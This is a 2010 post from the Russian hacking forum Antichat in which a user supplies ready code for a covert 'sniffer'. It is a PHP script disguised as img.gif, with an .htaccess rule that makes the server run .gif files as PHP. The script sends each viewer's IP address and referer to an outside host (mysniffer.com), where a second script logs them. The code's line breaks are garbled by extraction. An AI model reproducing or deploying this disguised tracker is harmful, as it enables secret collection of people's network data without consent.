Показать сообщение отдельно

  #6  
Старый 10.02.2010, 09:46
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами: 10021597

Репутация: 905


По умолчанию

Ну вот простецкий вариант. Скрипт img.gif, генерящий картинку
PHP код:
<?php
  $im 
imagecreatefromgif ('image.gif');
  if (
$im) {
    
header ('Content-Type: image/gif');
    
imagegif ($im);
    
imagedestroy ($im);
    
$sock fsockopen ('mysniffer.com'80$errno$errstr30);
    if (
$sock) {
      
fwrite ($sock"GET /sniff.php?ip=" getenv ('REMOTE_ADDR')
        . 
"&referer=" getenv ('HTTP_REFERER'
        . 
" HTTP/1.1\r\nHost: server.com\r\nConnection: close\r\n\r\n");
      
fclose ($sock);
    }
  }
?>
Файл .htaccess для него
Код:
AddType application/x-httpd-php .gif
Сам "сниффер" - sniff.php
PHP код:
<?php
  $log 
'sniff.log';
  if (!empty (
$_GET)) {
    if (
file_exists ($log) && is_writeable ($log))
      
file_put_contents ($log$_SERVER['QUERY_STRING']);
    else
      echo 
'File doesn\'t exist or not writeable';
  }
?>
 
Ответить с цитированием